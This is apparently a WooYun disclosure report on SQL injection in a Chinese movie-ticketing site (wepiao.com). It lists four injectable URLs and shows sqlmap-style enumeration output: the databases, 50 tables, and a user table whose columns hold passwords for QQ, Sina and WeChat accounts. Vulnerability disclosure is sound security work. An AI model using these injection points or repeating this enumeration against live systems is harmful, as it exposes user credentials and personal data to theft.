WooYun.org

http://iosappapi.wepiao.com/index.php?a=filmdetail&c=film&m=web&fid=5577
http://iosappapi.wepiao.com/index.php?a=seatinfo&c=film&mpid=556e6c3eba8e7f73168bfdbb&m=web&cinemaid=1004676&hid=3197&fid=5577
http://www.wepiao.com/?a=filmdetail&c=film&m=web&fid=5420
http://www.wepiao.com/?a=cinemadetailshow&c=cinema&m=web&cinemaid=1004676
先确实4个注入点都存在：

不用说了吧 整站数据
available databases [3]:
[*] app_weiying
[*] information_schema
[*] test
Database: app_weiying
[50 tables]
+-----------------------------+
| comment |
| comment_like |
| comment_reply |
| film_seen |
| film_want |
| t_weiying_banner |
| t_weiying_order |
| weiying_active |
| weiying_activites |
| weiying_ad |
| weiying_admin |
| weiying_admin_panel |
| weiying_admin_role |
| weiying_admin_role_priv |
| weiying_area |
| weiying_certificate |
| weiying_cinema |
| weiying_city |
| weiying_code |
| weiying_copywriting |
| weiying_device |
| weiying_evallike |
| weiying_evaluation |
| weiying_fctable |
| weiying_feedback |
| weiying_film |
| weiying_grouponticket_order |
| weiying_groupticket |
| weiying_hall |
| weiying_menu |
| weiying_notice |
| weiying_order |
| weiying_order_stream |
| weiying_paytemp |
| weiying_poster |
| weiying_praise |
| weiying_preuve |
| weiying_reply |
| weiying_sche |
| weiying_scheseat |
| weiying_scheseat_new |
| weiying_seats |
| weiying_see |
| weiying_show |
| weiying_tagephoto |
| weiying_ticket |
| weiying_token |
| weiying_user |
| weiying_versions |
| weiying_webad |
+-----------------------------+
Database: app_weiying
Table: weiying_user
[17 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| account | varchar(50) |
| id | int(11) |
| isdel | char(1) |
| loginsign | varchar(50) |
| mail | varchar(255) |
| nike | varchar(50) |
| password | varchar(255) |
| photo | varchar(255) |
| publicid | varchar(50) |
| qqaccount | varchar(50) |
| qqpassword | varchar(255) |
| sinaaccount | varchar(50) |
| sinapassword | varchar(255) |
| telphone | varchar(50) |
| weixinaccount | varchar(50) |
| weixinpass | varchar(255) |
| weixinunionid | varchar(50) |
+---------------+--------------+
时间问题就不继续了 整站数据在这 ... 危害你懂得